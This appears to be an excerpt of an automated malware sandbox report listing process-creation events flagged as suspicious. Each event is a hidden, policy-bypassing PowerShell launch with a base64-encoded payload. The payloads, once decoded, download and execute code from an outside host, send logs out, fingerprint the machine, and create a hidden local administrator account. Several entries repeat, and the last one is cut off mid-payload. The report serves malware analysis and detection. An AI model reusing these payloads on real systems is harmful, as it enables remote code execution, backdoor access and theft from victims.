EAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACkAIAB7AAoAIAAgACAAIAAkAHMAZQByAGkAYQBsAE4AdQBtAGIAZQByACAAPQAgACQAaABhAHIAZABEAHIAaQB2AGUALgBTAGUAcgBpAGEAbABOAHUAbQBiAGUAcgAKACAAIAAgACAAJABtAG8AZABlAGwAIAA9ACAAJABoAGEAcgBkAEQAcgBpAHYAZQAuAE0AbwBkAGUAbAAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwAgAD0AIAAiAFMAZQByAGkAYQBsACAATgB1AG0AYgBlAHIAOgAgACQAcwBlAHIAaQBhAGwATgB1AG0AYgBlAHIALAAgAE0AbwBkAGUAbAA6ACAAJABtAG8AZABlAGwAIgAKACAAIAAgACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAArAD0AIAAkAGQAcgBpAHYAZQBJAG4AZgBvAAoAfQAKACQAYwBvAG0AYgBpAG4AZQBkAEkAbgBmAG8AIAA9ACAAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAAtAGoAbwBpAG4AIAAiAGAAcgBgAG4AIgAKACQAYwBwAHUASQBuAGYAbwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMAIABXAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzAG8AcgAKACQAYwBwAHUARABlAHQAYQBpAGwAcwAgAD0AIAAiAFAAcgBvAGMAZQBzAHMAbwByAEkAZAA6ACAAJAAoACQAYwBwAHUASQBuAGYAbwAuAFAAcgBvAGMAZQBzAHMAbwByAEkAZAApACwAIABOAGEAbQBlADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATgBhAG0AZQApACwAIABNAGEAeABDAGwAbwBjAGsAUwBwAGUAZQBkADoAIAAkACgAJABjAHAAdQBJAG4AZgBvAC4ATQBhAHgAQwBsAG8AYwBrAFMAcABlAGUAZAApACwAIABVAG4AaQBxAHUAZQBJAGQAOgAgACQAKAAkAGMAcAB1AEkAbgBmAG8ALgBVAG4AaQBxAHUAZQBJAGQAKQAiAAoAJABhAGwAbABJAG4AZgBvACAAPQAgACIAJABjAG8AbQBiAGkAbgBlAGQASQBuAGYAbwBgAHIAYABuACQAYwBwAHUARABlAHQAYQBpAGwAcwAiAAoAJABtAGQANQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAE0ARAA1AEMAcgB5AHAAdABvAFMAZQByAHYAaQBjAGUAUAByAG8AdgBpAGQAZQByAAoAJABiAHkAdABlAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACQAYQBsAGwASQBuAGYAbwApAAoAJABoAGEAcwBoAEIAeQB0AGUAcwAgAD0AIAAkAG0AZAA1AC4AQwBvAG0AcAB1AHQAZQBIAGEAcwBoACgAJABiAHkAdABlAHMAKQAKACQAaABhAHMAaAAgAD0AIABbAEIAaQB0AEMAbwBuAHYAZQByAHQAZQByAF0AOgA6AFQAbwBTAHQAcgBpAG4AZwAoACQAaABhAHMAaABCAHkAdABlAHMAKQAgAC0AcgBlAHAAbABhAGMAZQAgACcALQAnAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAaABhAHMAaAA7AAoAfQAKAGMAZAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAIgA7AAoAJAB0AGUAcwB0ACAAPQAgAEcAZQB0AC0ASQBkAGUAbgB0AGkAdAB5ADsACgAkAHQAZQBzAHQAIAB8ACAATwB1AHQALQBGAGkAbABlACAALQBGAGkAbABlAFAAYQB0AGgAIAAiAGQAZQB2AGkAYwBlAEkAZAAuAHQAeAB0ACIAIAAtAEUAbgBjAG8AZABpAG4AZwAgAFUAVABGADgA
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand JABVAHMAZQByAG4AYQBtAGUAIAA9ACAAIgBVAHMAZQByADEAIgA7ACQAcAB3AGQAIAA9ACAAIgAxADIAMwA0ADUANgA3ADgAOQAhAEEAMQBhACIAOwAgACQAVQBzAGUAcgBQAGEAcgBhAG0AcwAgAD0AIABAAHsAJwBOAGEAbQBlACcAIAA9ACAAJABVAHMAZQByAG4AYQBtAGUAOwAgACcAUABhAHMAcwB3AG8AcgBkACcAIAA9ACAAKABDAG8AbgB2AGUAcgB0AFQAbwAtAFMAZQBjAHUAcgBlAFMAdAByAGkAbgBnACAALQBTAHQAcgBpAG4AZwAgACQAcAB3AGQAIAAtAEEAcwBQAGwAYQBpAG4AVABlAHgAdAAgAC0ARgBvAHIAYwBlACkAOwAgACcAUABhAHMAcwB3AG8AcgBkAE4AZQB2AGUAcgBFAHgAcABpAHIAZQBzACcAIAA9ACAAJAB0AHIAdQBlAH0AOwBOAGUAdwAtAEwAbwBjAGEAbABVAHMAZQByACAAQABVAHMAZQByAFAAYQByAGEAbQBzADsAJABHAHIAbwB1AHAAUABhAHIAYQBtAHMAIAA9ACAAQAB7ACcARwByAG8AdQBwACcAIAA9ACAAJwBBAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAHMAJwA7ACAAJwBNAGUAbQBiAGUAcgAnACAAPQAgACQAVQBzAGUAcgBuAGEAbQBlAH0AOwBBAGQAZAAtAEwAbwBjAGEAbABHAHIAbwB1AHAATQBlAG0AYgBlAHIAIABAAEcAcgBvAHUAcABQAGEAcgBhAG0AcwA7AA0ACgA=
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -w hidden -nologo -nop -ep bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBTAGMAcgBlAGUAbgBdADoAOgBBAGwAbABTAGMAcgBlAGUAbgBzACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIAAiACQAKAAkAF8ALgBCAG8AdQBuAGQAcwAuAFcAaQBkAHQAaAApAHgAJAAoACQAXwAuAEIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQAiACAAfQAgAHwAIABPAHUAdAAtAEYAaQBsAGUAIAAtAEYAaQBsAGUAUABhAHQAaAAgACIAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAZQBtAHAAXABkAHAAIgA=
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZwBlAHQALQBzAGUAcgB2AGkAYwBlACAAIgBtAHkAUgBkAHAAUwBlAHIAdgBpAGMAZQAiAA==
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe pOWERsheLl.eXE -WINDoWSTylE hiDdEN -EncoDEdCommAnd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBHADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEYASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAZAB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAFEAQQBGAE0AQQBNAEEAQQAxAEEARwAwAEEASQBnAEEAcABBAEMAawBBAEsAUQBBAHAAQQBDADQAQQBRAHcAQgBQAEEARwA0AEEAVgBBAEIARgBBAEcANABBAGQAQQBBAHAAQQBDAGsAQQAiAA=="	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -NoLogo -NoProfile -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAFsAVABFAFgAdAAuAEUAbgBjAE8ARABpAG4ARwBdADoAOgBVAFQARgA4AC4ARwBlAFQAUwB0AFIASQBOAGcAKAAoAEkAdwByACAAKABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIAMABjAEgATQA2AEwAeQA5AGoAYgAyAE4AdgBiAFcAVgAwAGEARwA5AGsAWgBTADUAawBaAFMAOQBQAFMAMAA1AG0AIgApACkAKQApAC4AQwBPAG4AVABFAG4AdAApACkA	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle hidden -NoLogo -NoProfile -ExecutionPolicy bypass -EncodedCommand JAB1AHIAaQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwBjAG8AYwBvAG0AZQB0AGgAbwBkAGUALgBkAGUALwBmAGkAbABlADIALwA0ADQAMgBkADYAZAAyAGIAYgBiAGYAOQA1AGEAMABjADIAZAA5ADgAMwAzADUAYwA3AGMAZgAxADIAZAA5AGQANABhADIAMQA2ADMAYgBmAGQAMwAzAGYANAAyADUANAA3AGQAOABlADIAMQA3ADYAMwA0ADkAZgBjADUAYgBlAGMAOQA5ADkAZABmADcANwBlAGQANgBmAGMAMQAwAGMAZAAyAGIAOABmADEAYgBmADYAZQAxADQAMQA5AGEAZgBkADEAYgA4AGUANgA1ADIAZAA2ADAAOAAyADAAYQA1ADYAZgA1AGQAOAA3ADIAYgA5ADgAMwAyAGQANQA4AGMAZgBlADYANQAzADQAOABiAGQAYgA2ADEANgBkAGIAMgAzAGUANAAzAGYANwA5ADcAMgBkAGEAZgAzADkAMQBmADEAMwBiAGQANgBhADYAOQBjADgAOQAxADkAMAAyADgAMAA3AGEAYQBkADQAMgAzADYAMgA3ADgAMQAxAGMAOABlADAAZAA0AGEAYQA3AGUAZQA5ADMAOQBkADcANAA1ADIAMAAxAGUAZQBkADgAMAA2AGUAZQA5ADcAOQBmAGEAIgA7AA0ACgAkAGMAbwB1AG4AdAAgAD0AIAAxADAAMAA7AA0ACgANAAoADQAKAA0ACgBmAHUAbgBjAHQAaQBvAG4AIABTAGUAbgBkACAAewANAAoAIAAgACAAIABwAGEAcgBhAG0AKAAgAFsAUABTAE8AYgBqAGUAYwB0AF0AIAAkAGwAbwBnAE0AcwBnACAAKQANAAoADQAKACAAIAAgACAAIwAgAEMAbwBuAHYAZQByAHQAIABiAG8AZAB5ACAAdABvACAAcwB0AHIAaQBuAGcADQAKACAAIAAgACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ACAAPQAgAFsAcwB0AHIAaQBuAGcAXQAoACQAbABvAGcATQBzAGcAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuACkAOwANAAoAIAAgACAAIAAkAGwAbwBnAE0AZQBzAHMAYQBnAGUAcwAgAD0AIABAACgAKQA7AA0ACgAgACAAIAAgACQAbABvAGcATQBlAHMAcwBhAGcAZQBzACAAKwA9ACAAJABzAHQAcgBpAG4AZwBCAG8AZAB5ADsADQAKACAAIAAgACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAArAD0AIAAiAC0ALQAtAC0ALQAtAC0ALQAtAC0AIgA7AA0ACgANAAoAIAAgACAAIAAkAGgAZQBhAGQAZQByAHMAIAA9ACAAQAB7AH0AOwANAAoAIAAgACAAIAAkAGsAZQB5ACAAPQAgACIAQwBvAG4AdABlAG4AdAAtAFQAeQBwAGUAIgA7AA0ACgAgACAAIAAgACQAdgBhAGwAdQBlACAAPQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiADsADQAKAA0ACgAgACAAIAAgACQAaABlAGEAZABlAHIAcwBbACQAawBlAHkAXQAgAD0AIAAkAHYAYQBsAHUAZQA7AA0ACgAgACAAIAAgACQAdQByAGkAIAA9ACAAIgBMAE8ARwBVAFIATAAiADsADQAKACAAIAAgACAAdAByAHkADQAKACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAGIAbwBkAHkAIAA9ACAAJABsAG8AZwBNAGUAcwBzAGEAZwBlAHMAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBNAGUAdABoAG8AZAAgAFAAbwBzAHQAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZQBhAGQAZQByAHMAIAAtAEIAbwBkAHkAIAAkAGIAbwBkAHkADQAKACAAIAAgACAAIAAgACAAIAB9AA0ACgAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAA0ACgAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAANAAoAfQANAAoADQAKAHcAaABpAGwAZQAoACQAYwBvAHUAbgB0ACAALQBnAHQAIAAwACkADQAKAHsADQAKAAkADQAKAAkAdAByAHkAewANAAoAIAAgACAAIAAgACAAIAAgAFMAZQBuAGQAIAAiAGIAZQBnAGkAbgAgAGQAbwB3AG4AbABvAGEAZAAgACQAdQByAGkAIgA7AA0ACgAJAAkAJABjAG8AbgB0AGUAbgB0ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHUAcgBpACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AA0ACgAgACAAIAAgACAAIAAgACAAJABiAHkAdABlAEEAcgByAGEAeQAgAD0AIAAkAGMAbwBuAHQAZQBuAHQALgBjAG8AbgB0AGUAbgB0ADsADQAKACAAIAAgACAAIAAgACAAIABmAG8AcgAgACgAJABpACAAPQAgADAAOwAgAC	Jump to behavior
Source: C:\Windows\Temp\svczHost.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -NoLogo -NoProfile -WindowStyle Hidden -ExecutionPolicy bypass -EncodedCommand ZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBJAGQAZQBuAHQAaQB0AHkAewAKACAAIAAgACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzACAAPQAgAEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAEMAbABhAHMAcwAgAFcAaQBuADMAMgBfAEQAaQBzAGsARAByAGkAdgBlACAAfAAgAFcAaABlAHIAZQAtAE8AYgBqAGUAYwB0ACAAewAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACIAIAAtAG8AcgAgACQAXwAuAE0AZQBkAGkAYQBUAHkAcABlACAALQBlAHEAIAAiAEYAaQB4AGUAZAAgAGgAYQByAGQAIABkAGkAcwBrACAAbQBlAGQAaQBhACAALQAgAFMAUwBEACIAIAB9AAoAJABkAHIAaQB2AGUASQBuAGYAbwBBAHIAcgBhAHkAIAA9ACAAQAAoACkACgBmAG8AcgBlAGEAYwBoACAAKAAkAGgAYQByAGQARAByAGkAdgBlACAAaQBuACAAJABoAGEAcgBkAEQAcgBpAHYAZQBzA